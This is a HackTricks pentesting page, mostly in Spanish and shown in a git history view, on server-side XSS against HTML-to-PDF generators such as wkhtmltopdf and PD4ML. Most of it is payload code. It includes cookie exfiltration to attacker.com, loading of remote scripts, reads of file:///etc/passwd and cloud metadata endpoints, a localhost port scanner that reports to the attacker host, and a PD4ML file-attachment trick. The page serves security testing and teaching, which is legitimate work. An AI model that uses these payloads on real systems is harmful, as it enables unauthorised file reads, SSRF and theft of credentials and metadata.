hacktricks/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md

200 lines
10 KiB
Markdown
Raw Normal View History

# Server Side XSS (Dynamic PDF)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Server Side XSS (Dynamic PDF)
2023-06-05 18:33:24 +00:00
Si una página web está creando un PDF utilizando entrada controlada por el usuario, puedes intentar **engañar al bot** que está creando el PDF para que **ejecute código JS arbitrario**.\
Entonces, si el **bot creador de PDF encuentra** algún tipo de **etiquetas HTML**, va a **interpretarlas**, y puedes **abusar** de este comportamiento para causar un **XSS en el servidor**.
2023-06-05 18:33:24 +00:00
Por favor, ten en cuenta que las etiquetas `<script></script>` no siempre funcionan, así que necesitarás un método diferente para ejecutar JS (por ejemplo, abusando de `<img` ).\
Además, nota que en una explotación regular podrás **ver/descargar el PDF creado**, así que podrás ver todo lo que **escribes a través de JS** (usando `document.write()` por ejemplo). Pero, si **no puedes ver** el PDF creado, probablemente necesitarás **extraer la información haciendo solicitudes web a ti** (Ciego).
2023-06-05 18:33:24 +00:00
### Generación de PDF popular
2023-06-05 18:33:24 +00:00
- **wkhtmltopdf** es conocido por su capacidad para convertir HTML y CSS en documentos PDF, utilizando el motor de renderizado WebKit. Esta herramienta está disponible como una utilidad de línea de comandos de código abierto, lo que la hace accesible para una amplia gama de aplicaciones.
- **TCPDF** ofrece una solución robusta dentro del ecosistema PHP para la generación de PDF. Es capaz de manejar imágenes, gráficos y cifrado, mostrando su versatilidad para crear documentos complejos.
- Para aquellos que trabajan en un entorno Node.js, **PDFKit** presenta una opción viable. Permite la generación de documentos PDF directamente desde HTML y CSS, proporcionando un puente entre el contenido web y los formatos imprimibles.
- Los desarrolladores de Java pueden preferir **iText**, una biblioteca que no solo facilita la creación de PDF, sino que también admite características avanzadas como firmas digitales y llenado de formularios. Su conjunto de características integral lo hace adecuado para generar documentos seguros e interactivos.
- **FPDF** es otra biblioteca PHP, distinguida por su simplicidad y facilidad de uso. Está diseñada para desarrolladores que buscan un enfoque directo para la generación de PDF, sin necesidad de características extensas.
## Payloads
2023-06-05 18:33:24 +00:00
### Discovery
2023-06-05 18:33:24 +00:00
```markup
<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">
```
### SVG
Cualquiera de las cargas útiles anteriores o siguientes puede ser utilizada dentro de esta carga útil SVG. Se presentan como ejemplos un iframe que accede al subdominio de Burpcollab y otro que accede al endpoint de metadatos.
2023-06-05 18:33:24 +00:00
```markup
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
2023-06-05 18:33:24 +00:00
</svg>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
2023-06-05 18:33:24 +00:00
</svg>
```
Puedes encontrar muchos **otros payloads SVG** en [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
2023-06-05 18:33:24 +00:00
### Divulgación de rutas
2023-06-05 18:33:24 +00:00
```markup
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>
```
### Cargar un script externo
La mejor manera de explotar esta vulnerabilidad es abusar de la vulnerabilidad para hacer que el bot cargue un script que controlas localmente. Luego, podrás cambiar la carga útil localmente y hacer que el bot la cargue con el mismo código cada vez.
2023-06-05 18:33:24 +00:00
```markup
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
```
### Leer archivo local / SSRF
{% hint style="warning" %}
Cambia `file:///etc/passwd` por `http://169.254.169.254/latest/user-data` por ejemplo para **intentar acceder a una página web externa (SSRF)**.
Si SSRF está permitido, pero **no puedes alcanzar** un dominio o IP interesante, [consulta esta página para posibles elusiones](../ssrf-server-side-request-forgery/url-format-bypass.md).
{% endhint %}
2023-06-05 18:33:24 +00:00
```markup
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
```
```markup
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
2023-06-05 18:33:24 +00:00
</script>
```
```markup
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
2023-06-05 18:33:24 +00:00
```
```markup
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
```
### Retraso del bot
2023-06-05 18:33:24 +00:00
```markup
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
2023-06-05 18:33:24 +00:00
</script>
<img src="https://attacker.com/delay">
```
### Escaneo de Puertos
2023-06-05 18:33:24 +00:00
```markup
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
2023-06-05 18:33:24 +00:00
}
for(let i=0; i<1000; i++) {
checkPort(i);
2023-06-05 18:33:24 +00:00
}
</script>
<img src="https://attacker.com/startingScan">
```
### [SSRF](../ssrf-server-side-request-forgery/)
Esta vulnerabilidad se puede transformar muy fácilmente en un SSRF (ya que puedes hacer que el script cargue recursos externos). Así que solo intenta explotarla (¿leer algunos metadatos?).
2023-06-05 18:33:24 +00:00
### Attachments: PD4ML
2023-06-05 18:33:24 +00:00
Hay algunos motores de HTML a PDF que permiten **especificar adjuntos para el PDF**, como **PD4ML**. Puedes abusar de esta función para **adjuntar cualquier archivo local** al PDF.\
Para abrir el adjunto, abrí el archivo con **Firefox y hice doble clic en el símbolo del clip** para **guardar el adjunto** como un nuevo archivo.\
Capturar la **respuesta PDF** con burp también debería **mostrar el adjunto en texto claro** dentro del PDF.
2023-06-05 18:33:24 +00:00
{% code overflow="wrap" %}
```html
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>
```
{% endcode %}
## Referencias
2023-06-05 18:33:24 +00:00
* [https://lbherrera.github.io/lab/h1415-ctf-writeup.html](https://lbherrera.github.io/lab/h1415-ctf-writeup.html)
* [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
* [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
* [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
2023-06-05 18:33:24 +00:00
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2023-06-05 18:33:24 +00:00
<details>
<summary>Apoya a HackTricks</summary>
2023-06-05 18:33:24 +00:00
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
2023-06-05 18:33:24 +00:00
</details>
{% endhint %}